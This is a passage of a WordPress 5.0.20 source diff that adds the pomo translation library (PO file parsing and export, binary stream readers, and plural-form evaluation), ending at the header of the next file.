+	 * @since 4.9.0
+	 *
+	 * @param int $n Variable "n" to substitute.
+	 * @return int Plural form value.
+	 */
+	public function execute( $n ) {
+		$stack = array();
+		$i = 0;
+		$total = count( $this->tokens );
+		while ( $i < $total ) {
+			$next = $this->tokens[$i];
+			$i++;
+			if ( $next[0] === 'var' ) {
+				$stack[] = $n;
+				continue;
+			} elseif ( $next[0] === 'value' ) {
+				$stack[] = $next[1];
+				continue;
+			}
+
+			// Only operators left.
+			switch ( $next[1] ) {
+				case '%':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 % $v2;
+					break;
+
+				case '||':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 || $v2;
+					break;
+
+				case '&&':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 && $v2;
+					break;
+
+				case '<':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 < $v2;
+					break;
+
+				case '<=':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 <= $v2;
+					break;
+
+				case '>':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 > $v2;
+					break;
+
+				case '>=':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 >= $v2;
+					break;
+
+				case '!=':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 != $v2;
+					break;
+
+				case '==':
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 == $v2;
+					break;
+
+				case '?:':
+					$v3 = array_pop( $stack );
+					$v2 = array_pop( $stack );
+					$v1 = array_pop( $stack );
+					$stack[] = $v1 ? $v2 : $v3;
+					break;
+
+				default:
+					throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) );
+			}
+		}
+
+		if ( count( $stack ) !== 1 ) {
+			throw new Exception( 'Too many values remaining on the stack' );
+		}
+
+		return (int) $stack[0];
+	}
+}
Index: /tags/5.0.20/src/wp-includes/pomo/po.php
===================================================================
--- /tags/5.0.20/src/wp-includes/pomo/po.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/pomo/po.php	(revision 56912)
@@ -0,0 +1,469 @@
+<?php
+/**
+ * Class for working with PO files
+ *
+ * @version $Id: po.php 1158 2015-11-20 04:31:23Z dd32 $
+ * @package pomo
+ * @subpackage po
+ */
+
+require_once dirname(__FILE__) . '/translations.php';
+
+if ( ! defined( 'PO_MAX_LINE_LEN' ) ) {
+	define('PO_MAX_LINE_LEN', 79);
+}
+
+ini_set('auto_detect_line_endings', 1);
+
+/**
+ * Routines for working with PO files
+ */
+if ( ! class_exists( 'PO', false ) ):
+class PO extends Gettext_Translations {
+
+	var $comments_before_headers = '';
+
+	/**
+	 * Exports headers to a PO entry
+	 *
+	 * @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end
+	 */
+	function export_headers() {
+		$header_string = '';
+		foreach($this->headers as $header => $value) {
+			$header_string.= "$header: $value\n";
+		}
+		$poified = PO::poify($header_string);
+		if ($this->comments_before_headers)
+			$before_headers = $this->prepend_each_line(rtrim($this->comments_before_headers)."\n", '# ');
+		else
+			$before_headers = '';
+		return rtrim("{$before_headers}msgid \"\"\nmsgstr $poified");
+	}
+
+	/**
+	 * Exports all entries to PO format
+	 *
+	 * @return string sequence of mgsgid/msgstr PO strings, doesn't containt newline at the end
+	 */
+	function export_entries() {
+		//TODO sorting
+		return implode("\n\n", array_map(array('PO', 'export_entry'), $this->entries));
+	}
+
+	/**
+	 * Exports the whole PO file as a string
+	 *
+	 * @param bool $include_headers whether to include the headers in the export
+	 * @return string ready for inclusion in PO file string for headers and all the enrtries
+	 */
+	function export($include_headers = true) {
+		$res = '';
+		if ($include_headers) {
+			$res .= $this->export_headers();
+			$res .= "\n\n";
+		}
+		$res .= $this->export_entries();
+		return $res;
+	}
+
+	/**
+	 * Same as {@link export}, but writes the result to a file
+	 *
+	 * @param string $filename where to write the PO string
+	 * @param bool $include_headers whether to include tje headers in the export
+	 * @return bool true on success, false on error
+	 */
+	function export_to_file($filename, $include_headers = true) {
+		$fh = fopen($filename, 'w');
+		if (false === $fh) return false;
+		$export = $this->export($include_headers);
+		$res = fwrite($fh, $export);
+		if (false === $res) return false;
+		return fclose($fh);
+	}
+
+	/**
+	 * Text to include as a comment before the start of the PO contents
+	 *
+	 * Doesn't need to include # in the beginning of lines, these are added automatically
+	 */
+	function set_comment_before_headers( $text ) {
+		$this->comments_before_headers = $text;
+	}
+
+	/**
+	 * Formats a string in PO-style
+	 *
+	 * @static
+	 * @param string $string the string to format
+	 * @return string the poified string
+	 */
+	public static function poify($string) {
+		$quote = '"';
+		$slash = '\\';
+		$newline = "\n";
+
+		$replaces = array(
+			"$slash" 	=> "$slash$slash",
+			"$quote"	=> "$slash$quote",
+			"\t" 		=> '\t',
+		);
+
+		$string = str_replace(array_keys($replaces), array_values($replaces), $string);
+
+		$po = $quote.implode("${slash}n$quote$newline$quote", explode($newline, $string)).$quote;
+		// add empty string on first line for readbility
+		if (false !== strpos($string, $newline) &&
+				(substr_count($string, $newline) > 1 || !($newline === substr($string, -strlen($newline))))) {
+			$po = "$quote$quote$newline$po";
+		}
+		// remove empty strings
+		$po = str_replace("$newline$quote$quote", '', $po);
+		return $po;
+	}
+
+	/**
+	 * Gives back the original string from a PO-formatted string
+	 *
+	 * @static
+	 * @param string $string PO-formatted string
+	 * @return string enascaped string
+	 */
+	public static function unpoify($string) {
+		$escapes = array('t' => "\t", 'n' => "\n", 'r' => "\r", '\\' => '\\');
+		$lines = array_map('trim', explode("\n", $string));
+		$lines = array_map(array('PO', 'trim_quotes'), $lines);
+		$unpoified = '';
+		$previous_is_backslash = false;
+		foreach($lines as $line) {
+			preg_match_all('/./u', $line, $chars);
+			$chars = $chars[0];
+			foreach($chars as $char) {
+				if (!$previous_is_backslash) {
+					if ('\\' == $char)
+						$previous_is_backslash = true;
+					else
+						$unpoified .= $char;
+				} else {
+					$previous_is_backslash = false;
+					$unpoified .= isset($escapes[$char])? $escapes[$char] : $char;
+				}
+			}
+		}
+
+		// Standardise the line endings on imported content, technically PO files shouldn't contain \r
+		$unpoified = str_replace( array( "\r\n", "\r" ), "\n", $unpoified );
+
+		return $unpoified;
+	}
+
+	/**
+	 * Inserts $with in the beginning of every new line of $string and
+	 * returns the modified string
+	 *
+	 * @static
+	 * @param string $string prepend lines in this string
+	 * @param string $with prepend lines with this string
+	 */
+	public static function prepend_each_line($string, $with) {
+		$lines = explode("\n", $string);
+		$append = '';
+		if ("\n" === substr($string, -1) && '' === end($lines)) {
+			// Last line might be empty because $string was terminated
+			// with a newline, remove it from the $lines array,
+			// we'll restore state by re-terminating the string at the end
+			array_pop($lines);
+			$append = "\n";
+		}
+		foreach ($lines as &$line) {
+			$line = $with . $line;
+		}
+		unset($line);
+		return implode("\n", $lines) . $append;
+	}
+
+	/**
+	 * Prepare a text as a comment -- wraps the lines and prepends #
+	 * and a special character to each line
+	 *
+	 * @access private
+	 * @param string $text the comment text
+	 * @param string $char character to denote a special PO comment,
+	 * 	like :, default is a space
+	 */
+	public static function comment_block($text, $char=' ') {
+		$text = wordwrap($text, PO_MAX_LINE_LEN - 3);
+		return PO::prepend_each_line($text, "#$char ");
+	}
+
+	/**
+	 * Builds a string from the entry for inclusion in PO file
+	 *
+	 * @static
+	 * @param Translation_Entry $entry the entry to convert to po string (passed by reference).
+	 * @return false|string PO-style formatted string for the entry or
+	 * 	false if the entry is empty
+	 */
+	public static function export_entry(&$entry) {
+		if ( null === $entry->singular || '' === $entry->singular ) return false;
+		$po = array();
+		if (!empty($entry->translator_comments)) $po[] = PO::comment_block($entry->translator_comments);
+		if (!empty($entry->extracted_comments)) $po[] = PO::comment_block($entry->extracted_comments, '.');
+		if (!empty($entry->references)) $po[] = PO::comment_block(implode(' ', $entry->references), ':');
+		if (!empty($entry->flags)) $po[] = PO::comment_block(implode(", ", $entry->flags), ',');
+		if ($entry->context) $po[] = 'msgctxt '.PO::poify($entry->context);
+		$po[] = 'msgid '.PO::poify($entry->singular);
+		if (!$entry->is_plural) {
+			$translation = empty($entry->translations)? '' : $entry->translations[0];
+			$translation = PO::match_begin_and_end_newlines( $translation, $entry->singular );
+			$po[] = 'msgstr '.PO::poify($translation);
+		} else {
+			$po[] = 'msgid_plural '.PO::poify($entry->plural);
+			$translations = empty($entry->translations)? array('', '') : $entry->translations;
+			foreach($translations as $i => $translation) {
+				$translation = PO::match_begin_and_end_newlines( $translation, $entry->plural );
+				$po[] = "msgstr[$i] ".PO::poify($translation);
+			}
+		}
+		return implode("\n", $po);
+	}
+
+	public static function match_begin_and_end_newlines( $translation, $original ) {
+		if ( '' === $translation ) {
+			return $translation;
+		}
+
+		$original_begin = "\n" === substr( $original, 0, 1 );
+		$original_end = "\n" === substr( $original, -1 );
+		$translation_begin = "\n" === substr( $translation, 0, 1 );
+		$translation_end = "\n" === substr( $translation, -1 );
+
+		if ( $original_begin ) {
+			if ( ! $translation_begin ) {
+				$translation = "\n" . $translation;
+			}
+		} elseif ( $translation_begin ) {
+			$translation = ltrim( $translation, "\n" );
+		}
+
+		if ( $original_end ) {
+			if ( ! $translation_end ) {
+				$translation .= "\n";
+			}
+		} elseif ( $translation_end ) {
+			$translation = rtrim( $translation, "\n" );
+		}
+
+		return $translation;
+	}
+
+	/**
+	 * @param string $filename
+	 * @return boolean
+	 */
+	function import_from_file($filename) {
+		$f = fopen($filename, 'r');
+		if (!$f) return false;
+		$lineno = 0;
+		while (true) {
+			$res = $this->read_entry($f, $lineno);
+			if (!$res) break;
+			if ($res['entry']->singular == '') {
+				$this->set_headers($this->make_headers($res['entry']->translations[0]));
+			} else {
+				$this->add_entry($res['entry']);
+			}
+		}
+		PO::read_line($f, 'clear');
+		if ( false === $res ) {
+			return false;
+		}
+		if ( ! $this->headers && ! $this->entries ) {
+			return false;
+		}
+		return true;
+	}
+
+	/**
+	 * Helper function for read_entry
+	 * @param string $context
+	 * @return bool
+	 */
+	protected static function is_final($context) {
+		return ($context === 'msgstr') || ($context === 'msgstr_plural');
+	}
+
+	/**
+	 * @param resource $f
+	 * @param int      $lineno
+	 * @return null|false|array
+	 */
+	function read_entry($f, $lineno = 0) {
+		$entry = new Translation_Entry();
+		// where were we in the last step
+		// can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural
+		$context = '';
+		$msgstr_index = 0;
+		while (true) {
+			$lineno++;
+			$line = PO::read_line($f);
+			if (!$line)  {
+				if (feof($f)) {
+					if (self::is_final($context))
+						break;
+					elseif (!$context) // we haven't read a line and eof came
+						return null;
+					else
+						return false;
+				} else {
+					return false;
+				}
+			}
+			if ($line == "\n") continue;
+			$line = trim($line);
+			if (preg_match('/^#/', $line, $m)) {
+				// the comment is the start of a new entry
+				if (self::is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				// comments have to be at the beginning
+				if ($context && $context != 'comment') {
+					return false;
+				}
+				// add comment
+				$this->add_comment_to_entry($entry, $line);
+			} elseif (preg_match('/^msgctxt\s+(".*")/', $line, $m)) {
+				if (self::is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				if ($context && $context != 'comment') {
+					return false;
+				}
+				$context = 'msgctxt';
+				$entry->context .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgid\s+(".*")/', $line, $m)) {
+				if (self::is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				if ($context && $context != 'msgctxt' && $context != 'comment') {
+					return false;
+				}
+				$context = 'msgid';
+				$entry->singular .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgid_plural\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid') {
+					return false;
+				}
+				$context = 'msgid_plural';
+				$entry->is_plural = true;
+				$entry->plural .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgstr\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid') {
+					return false;
+				}
+				$context = 'msgstr';
+				$entry->translations = array(PO::unpoify($m[1]));
+			} elseif (preg_match('/^msgstr\[(\d+)\]\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid_plural' && $context != 'msgstr_plural') {
+					return false;
+				}
+				$context = 'msgstr_plural';
+				$msgstr_index = $m[1];
+				$entry->translations[$m[1]] = PO::unpoify($m[2]);
+			} elseif (preg_match('/^".*"$/', $line)) {
+				$unpoified = PO::unpoify($line);
+				switch ($context) {
+					case 'msgid':
+						$entry->singular .= $unpoified; break;
+					case 'msgctxt':
+						$entry->context .= $unpoified; break;
+					case 'msgid_plural':
+						$entry->plural .= $unpoified; break;
+					case 'msgstr':
+						$entry->translations[0] .= $unpoified; break;
+					case 'msgstr_plural':
+						$entry->translations[$msgstr_index] .= $unpoified; break;
+					default:
+						return false;
+				}
+			} else {
+				return false;
+			}
+		}
+
+		$have_translations = false;
+		foreach ( $entry->translations as $t ) {
+			if ( $t || ('0' === $t) ) {
+				$have_translations = true;
+				break;
+			}
+		}
+		if ( false === $have_translations ) {
+			$entry->translations = array();
+		}
+
+		return array('entry' => $entry, 'lineno' => $lineno);
+	}
+
+	/**
+	 * @staticvar string   $last_line
+	 * @staticvar boolean  $use_last_line
+	 *
+	 * @param     resource $f
+	 * @param     string   $action
+	 * @return boolean
+	 */
+	function read_line($f, $action = 'read') {
+		static $last_line = '';
+		static $use_last_line = false;
+		if ('clear' == $action) {
+			$last_line = '';
+			return true;
+		}
+		if ('put-back' == $action) {
+			$use_last_line = true;
+			return true;
+		}
+		$line = $use_last_line? $last_line : fgets($f);
+		$line = ( "\r\n" == substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line;
+		$last_line = $line;
+		$use_last_line = false;
+		return $line;
+	}
+
+	/**
+	 * @param Translation_Entry $entry
+	 * @param string            $po_comment_line
+	 */
+	function add_comment_to_entry(&$entry, $po_comment_line) {
+		$first_two = substr($po_comment_line, 0, 2);
+		$comment = trim(substr($po_comment_line, 2));
+		if ('#:' == $first_two) {
+			$entry->references = array_merge($entry->references, preg_split('/\s+/', $comment));
+		} elseif ('#.' == $first_two) {
+			$entry->extracted_comments = trim($entry->extracted_comments . "\n" . $comment);
+		} elseif ('#,' == $first_two) {
+			$entry->flags = array_merge($entry->flags, preg_split('/,\s*/', $comment));
+		} else {
+			$entry->translator_comments = trim($entry->translator_comments . "\n" . $comment);
+		}
+	}
+
+	/**
+	 * @param string $s
+	 * @return sring
+	 */
+	public static function trim_quotes($s) {
+		if ( substr($s, 0, 1) == '"') $s = substr($s, 1);
+		if ( substr($s, -1, 1) == '"') $s = substr($s, 0, -1);
+		return $s;
+	}
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/pomo/streams.php
===================================================================
--- /tags/5.0.20/src/wp-includes/pomo/streams.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/pomo/streams.php	(revision 56912)
@@ -0,0 +1,315 @@
+<?php
+/**
+ * Classes, which help reading streams of data from files.
+ * Based on the classes from Danilo Segan <danilo@kvota.net>
+ *
+ * @version $Id: streams.php 1157 2015-11-20 04:30:11Z dd32 $
+ * @package pomo
+ * @subpackage streams
+ */
+
+if ( ! class_exists( 'POMO_Reader', false ) ):
+class POMO_Reader {
+
+	var $endian = 'little';
+	var $_post = '';
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct() {
+		$this->is_overloaded = ((ini_get("mbstring.func_overload") & 2) != 0) && function_exists('mb_substr');
+		$this->_pos = 0;
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function POMO_Reader() {
+		self::__construct();
+	}
+
+	/**
+	 * Sets the endianness of the file.
+	 *
+	 * @param $endian string 'big' or 'little'
+	 */
+	function setEndian($endian) {
+		$this->endian = $endian;
+	}
+
+	/**
+	 * Reads a 32bit Integer from the Stream
+	 *
+	 * @return mixed The integer, corresponding to the next 32 bits from
+	 * 	the stream of false if there are not enough bytes or on error
+	 */
+	function readint32() {
+		$bytes = $this->read(4);
+		if (4 != $this->strlen($bytes))
+			return false;
+		$endian_letter = ('big' == $this->endian)? 'N' : 'V';
+		$int = unpack($endian_letter, $bytes);
+		return reset( $int );
+	}
+
+	/**
+	 * Reads an array of 32-bit Integers from the Stream
+	 *
+	 * @param integer count How many elements should be read
+	 * @return mixed Array of integers or false if there isn't
+	 * 	enough data or on error
+	 */
+	function readint32array($count) {
+		$bytes = $this->read(4 * $count);
+		if (4*$count != $this->strlen($bytes))
+			return false;
+		$endian_letter = ('big' == $this->endian)? 'N' : 'V';
+		return unpack($endian_letter.$count, $bytes);
+	}
+
+	/**
+	 * @param string $string
+	 * @param int    $start
+	 * @param int    $length
+	 * @return string
+	 */
+	function substr($string, $start, $length) {
+		if ($this->is_overloaded) {
+			return mb_substr($string, $start, $length, 'ascii');
+		} else {
+			return substr($string, $start, $length);
+		}
+	}
+
+	/**
+	 * @param string $string
+	 * @return int
+	 */
+	function strlen($string) {
+		if ($this->is_overloaded) {
+			return mb_strlen($string, 'ascii');
+		} else {
+			return strlen($string);
+		}
+	}
+
+	/**
+	 * @param string $string
+	 * @param int    $chunk_size
+	 * @return array
+	 */
+	function str_split($string, $chunk_size) {
+		if (!function_exists('str_split')) {
+			$length = $this->strlen($string);
+			$out = array();
+			for ($i = 0; $i < $length; $i += $chunk_size)
+				$out[] = $this->substr($string, $i, $chunk_size);
+			return $out;
+		} else {
+			return str_split( $string, $chunk_size );
+		}
+	}
+
+	/**
+	 * @return int
+	 */
+	function pos() {
+		return $this->_pos;
+	}
+
+	/**
+	 * @return true
+	 */
+	function is_resource() {
+		return true;
+	}
+
+	/**
+	 * @return true
+	 */
+	function close() {
+		return true;
+	}
+}
+endif;
+
+if ( ! class_exists( 'POMO_FileReader', false ) ):
+class POMO_FileReader extends POMO_Reader {
+
+	/**
+	 * @param string $filename
+	 */
+	function __construct( $filename ) {
+		parent::POMO_Reader();
+		$this->_f = fopen($filename, 'rb');
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function POMO_FileReader( $filename ) {
+		self::__construct( $filename );
+	}
+
+	/**
+	 * @param int $bytes
+	 */
+	function read($bytes) {
+		return fread($this->_f, $bytes);
+	}
+
+	/**
+	 * @param int $pos
+	 * @return boolean
+	 */
+	function seekto($pos) {
+		if ( -1 == fseek($this->_f, $pos, SEEK_SET)) {
+			return false;
+		}
+		$this->_pos = $pos;
+		return true;
+	}
+
+	/**
+	 * @return bool
+	 */
+	function is_resource() {
+		return is_resource($this->_f);
+	}
+
+	/**
+	 * @return bool
+	 */
+	function feof() {
+		return feof($this->_f);
+	}
+
+	/**
+	 * @return bool
+	 */
+	function close() {
+		return fclose($this->_f);
+	}
+
+	/**
+	 * @return string
+	 */
+	function read_all() {
+		$all = '';
+		while ( !$this->feof() )
+			$all .= $this->read(4096);
+		return $all;
+	}
+}
+endif;
+
+if ( ! class_exists( 'POMO_StringReader', false ) ):
+/**
+ * Provides file-like methods for manipulating a string instead
+ * of a physical file.
+ */
+class POMO_StringReader extends POMO_Reader {
+
+	var $_str = '';
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $str = '' ) {
+		parent::POMO_Reader();
+		$this->_str = $str;
+		$this->_pos = 0;
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function POMO_StringReader( $str = '' ) {
+		self::__construct( $str );
+	}
+
+	/**
+	 * @param string $bytes
+	 * @return string
+	 */
+	function read($bytes) {
+		$data = $this->substr($this->_str, $this->_pos, $bytes);
+		$this->_pos += $bytes;
+		if ($this->strlen($this->_str) < $this->_pos) $this->_pos = $this->strlen($this->_str);
+		return $data;
+	}
+
+	/**
+	 * @param int $pos
+	 * @return int
+	 */
+	function seekto($pos) {
+		$this->_pos = $pos;
+		if ($this->strlen($this->_str) < $this->_pos) $this->_pos = $this->strlen($this->_str);
+		return $this->_pos;
+	}
+
+	/**
+	 * @return int
+	 */
+	function length() {
+		return $this->strlen($this->_str);
+	}
+
+	/**
+	 * @return string
+	 */
+	function read_all() {
+		return $this->substr($this->_str, $this->_pos, $this->strlen($this->_str));
+	}
+
+}
+endif;
+
+if ( ! class_exists( 'POMO_CachedFileReader', false ) ):
+/**
+ * Reads the contents of the file in the beginning.
+ */
+class POMO_CachedFileReader extends POMO_StringReader {
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $filename ) {
+		parent::POMO_StringReader();
+		$this->_str = file_get_contents($filename);
+		if (false === $this->_str)
+			return false;
+		$this->_pos = 0;
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function POMO_CachedFileReader( $filename ) {
+		self::__construct( $filename );
+	}
+}
+endif;
+
+if ( ! class_exists( 'POMO_CachedIntFileReader', false ) ):
+/**
+ * Reads the contents of the file in the beginning.
+ */
+class POMO_CachedIntFileReader extends POMO_CachedFileReader {
+	/**
+	 * PHP5 constructor.
+	 */
+	public function __construct( $filename ) {
+		parent::POMO_CachedFileReader($filename);
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
+	function POMO_CachedIntFileReader( $filename ) {
+		self::__construct( $filename );
+	}
+}
+endif;
+
Index: /tags/5.0.20/src/wp-includes/pomo/translations.php
===================================================================
--- /tags/5.0.20/src/wp-includes/pomo/translations.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/pomo/translations.php	(revision 56912)
@@ -0,0 +1,361 @@
+<?php
+/**
+ * Class for a set of entries for translation and their associated headers
+ *
+ * @version $Id: translations.php 1157 2015-11-20 04:30:11Z dd32 $
+ * @package pomo
+ * @subpackage translations
+ */
+
+require_once dirname(__FILE__) . '/plural-forms.php';
+require_once dirname(__FILE__) . '/entry.php';
+
+if ( ! class_exists( 'Translations', false ) ):
+class Translations {
+	var $entries = array();
+	var $headers = array();
+
+	/**
+	 * Add entry to the PO structure
+	 *
+	 * @param array|Translation_Entry $entry
+	 * @return bool true on success, false if the entry doesn't have a key
+	 */
+	function add_entry($entry) {
+		if (is_array($entry)) {
+			$entry = new Translation_Entry($entry);
+		}
+		$key = $entry->key();
+		if (false === $key) return false;
+		$this->entries[$key] = &$entry;
+		return true;
+	}
+
+	/**
+	 * @param array|Translation_Entry $entry
+	 * @return bool
+	 */
+	function add_entry_or_merge($entry) {
+		if (is_array($entry)) {
+			$entry = new Translation_Entry($entry);
+		}
+		$key = $entry->key();
+		if (false === $key) return false;
+		if (isset($this->entries[$key]))
+			$this->entries[$key]->merge_with($entry);
+		else
+			$this->entries[$key] = &$entry;
+		return true;
+	}
+
+	/**
+	 * Sets $header PO header to $value
+	 *
+	 * If the header already exists, it will be overwritten
+	 *
+	 * TODO: this should be out of this class, it is gettext specific
+	 *
+	 * @param string $header header name, without trailing :
+	 * @param string $value header value, without trailing \n
+	 */
+	function set_header($header, $value) {
+		$this->headers[$header] = $value;
+	}
+
+	/**
+	 * @param array $headers
+	 */
+	function set_headers($headers) {
+		foreach($headers as $header => $value) {
+			$this->set_header($header, $value);
+		}
+	}
+
+	/**
+	 * @param string $header
+	 */
+	function get_header($header) {
+		return isset($this->headers[$header])? $this->headers[$header] : false;
+	}
+
+	/**
+	 * @param Translation_Entry $entry
+	 */
+	function translate_entry(&$entry) {
+		$key = $entry->key();
+		return isset($this->entries[$key])? $this->entries[$key] : false;
+	}
+
+	/**
+	 * @param string $singular
+	 * @param string $context
+	 * @return string
+	 */
+	function translate($singular, $context=null) {
+		$entry = new Translation_Entry(array('singular' => $singular, 'context' => $context));
+		$translated = $this->translate_entry($entry);
+		return ($translated && !empty($translated->translations))? $translated->translations[0] : $singular;
+	}
+
+	/**
+	 * Given the number of items, returns the 0-based index of the plural form to use
+	 *
+	 * Here, in the base Translations class, the common logic for English is implemented:
+	 * 	0 if there is one element, 1 otherwise
+	 *
+	 * This function should be overridden by the sub-classes. For example MO/PO can derive the logic
+	 * from their headers.
+	 *
+	 * @param integer $count number of items
+	 */
+	function select_plural_form($count) {
+		return 1 == $count? 0 : 1;
+	}
+
+	/**
+	 * @return int
+	 */
+	function get_plural_forms_count() {
+		return 2;
+	}
+
+	/**
+	 * @param string $singular
+	 * @param string $plural
+	 * @param int    $count
+	 * @param string $context
+	 */
+	function translate_plural($singular, $plural, $count, $context = null) {
+		$entry = new Translation_Entry(array('singular' => $singular, 'plural' => $plural, 'context' => $context));
+		$translated = $this->translate_entry($entry);
+		$index = $this->select_plural_form($count);
+		$total_plural_forms = $this->get_plural_forms_count();
+		if ($translated && 0 <= $index && $index < $total_plural_forms &&
+				is_array($translated->translations) &&
+				isset($translated->translations[$index]))
+			return $translated->translations[$index];
+		else
+			return 1 == $count? $singular : $plural;
+	}
+
+	/**
+	 * Merge $other in the current object.
+	 *
+	 * @param Object $other Another Translation object, whose translations will be merged in this one (passed by reference).
+	 * @return void
+	 **/
+	function merge_with(&$other) {
+		foreach( $other->entries as $entry ) {
+			$this->entries[$entry->key()] = $entry;
+		}
+	}
+
+	/**
+	 * @param object $other
+	 */
+	function merge_originals_with(&$other) {
+		foreach( $other->entries as $entry ) {
+			if ( !isset( $this->entries[$entry->key()] ) )
+				$this->entries[$entry->key()] = $entry;
+			else
+				$this->entries[$entry->key()]->merge_with($entry);
+		}
+	}
+}
+
+class Gettext_Translations extends Translations {
+	/**
+	 * The gettext implementation of select_plural_form.
+	 *
+	 * It lives in this class, because there are more than one descendand, which will use it and
+	 * they can't share it effectively.
+	 *
+	 * @param int $count
+	 */
+	function gettext_select_plural_form($count) {
+		if (!isset($this->_gettext_select_plural_form) || is_null($this->_gettext_select_plural_form)) {
+			list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header($this->get_header('Plural-Forms'));
+			$this->_nplurals = $nplurals;
+			$this->_gettext_select_plural_form = $this->make_plural_form_function($nplurals, $expression);
+		}
+		return call_user_func($this->_gettext_select_plural_form, $count);
+	}
+
+	/**
+	 * @param string $header
+	 * @return array
+	 */
+	function nplurals_and_expression_from_header($header) {
+		if (preg_match('/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches)) {
+			$nplurals = (int)$matches[1];
+			$expression = trim( $matches[2] );
+			return array($nplurals, $expression);
+		} else {
+			return array(2, 'n != 1');
+		}
+	}
+
+	/**
+	 * Makes a function, which will return the right translation index, according to the
+	 * plural forms header
+	 * @param int    $nplurals
+	 * @param string $expression
+	 */
+	function make_plural_form_function($nplurals, $expression) {
+		try {
+			$handler = new Plural_Forms( rtrim( $expression, ';' ) );
+			return array( $handler, 'get' );
+		} catch ( Exception $e ) {
+			// Fall back to default plural-form function.
+			return $this->make_plural_form_function( 2, 'n != 1' );
+		}
+	}
+
+	/**
+	 * Adds parentheses to the inner parts of ternary operators in
+	 * plural expressions, because PHP evaluates ternary oerators from left to right
+	 *
+	 * @param string $expression the expression without parentheses
+	 * @return string the expression with parentheses added
+	 */
+	function parenthesize_plural_exression($expression) {
+		$expression .= ';';
+		$res = '';
+		$depth = 0;
+		for ($i = 0; $i < strlen($expression); ++$i) {
+			$char = $expression[$i];
+			switch ($char) {
+				case '?':
+					$res .= ' ? (';
+					$depth++;
+					break;
+				case ':':
+					$res .= ') : (';
+					break;
+				case ';':
+					$res .= str_repeat(')', $depth) . ';';
+					$depth= 0;
+					break;
+				default:
+					$res .= $char;
+			}
+		}
+		return rtrim($res, ';');
+	}
+
+	/**
+	 * @param string $translation
+	 * @return array
+	 */
+	function make_headers($translation) {
+		$headers = array();
+		// sometimes \ns are used instead of real new lines
+		$translation = str_replace('\n', "\n", $translation);
+		$lines = explode("\n", $translation);
+		foreach($lines as $line) {
+			$parts = explode(':', $line, 2);
+			if (!isset($parts[1])) continue;
+			$headers[trim($parts[0])] = trim($parts[1]);
+		}
+		return $headers;
+	}
+
+	/**
+	 * @param string $header
+	 * @param string $value
+	 */
+	function set_header($header, $value) {
+		parent::set_header($header, $value);
+		if ('Plural-Forms' == $header) {
+			list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header($this->get_header('Plural-Forms'));
+			$this->_nplurals = $nplurals;
+			$this->_gettext_select_plural_form = $this->make_plural_form_function($nplurals, $expression);
+		}
+	}
+}
+endif;
+
+if ( ! class_exists( 'NOOP_Translations', false ) ):
+/**
+ * Provides the same interface as Translations, but doesn't do anything
+ */
+class NOOP_Translations {
+	var $entries = array();
+	var $headers = array();
+
+	function add_entry($entry) {
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $header
+	 * @param string $value
+	 */
+	function set_header($header, $value) {
+	}
+
+	/**
+	 *
+	 * @param array $headers
+	 */
+	function set_headers($headers) {
+	}
+
+	/**
+	 * @param string $header
+	 * @return false
+	 */
+	function get_header($header) {
+		return false;
+	}
+
+	/**
+	 * @param Translation_Entry $entry
+	 * @return false
+	 */
+	function translate_entry(&$entry) {
+		return false;
+	}
+
+	/**
+	 * @param string $singular
+	 * @param string $context
+	 */
+	function translate($singular, $context=null) {
+		return $singular;
+	}
+
+	/**
+	 *
+	 * @param int $count
+	 * @return bool
+	 */
+	function select_plural_form($count) {
+		return 1 == $count? 0 : 1;
+	}
+
+	/**
+	 * @return int
+	 */
+	function get_plural_forms_count() {
+		return 2;
+	}
+
+	/**
+	 * @param string $singular
+	 * @param string $plural
+	 * @param int    $count
+	 * @param string $context
+	 */
+	function translate_plural($singular, $plural, $count, $context = null) {
+			return 1 == $count? $singular : $plural;
+	}
+
+	/**
+	 * @param object $other
+	 */
+	function merge_with(&$other) {
+	}
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/post-formats.php
===================================================================
--- /tags/5.0.20/src/wp-includes/post-formats.php	(revision 56912)
